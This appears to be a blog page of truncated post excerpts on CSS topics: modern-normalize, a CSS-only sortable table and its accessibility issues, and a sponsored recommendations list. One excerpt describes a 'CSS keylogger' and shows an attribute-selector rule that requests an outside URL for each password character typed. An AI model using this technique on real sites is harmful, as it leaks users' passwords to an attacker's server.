modern-normalize

Another don’t call it a reset from Sindre Sorhus. It’s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I’m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you’re interested in some of the history and thinking behind …

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
background-image: url("https://localhost:3000/a");

const inp =

Variable Order

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It’s a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they’ve sorted the table when they …

Some Things I Recommend

Howdy. I’m taking this week’s “Sponsored Post” to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I’m happy going on the record endorsing.
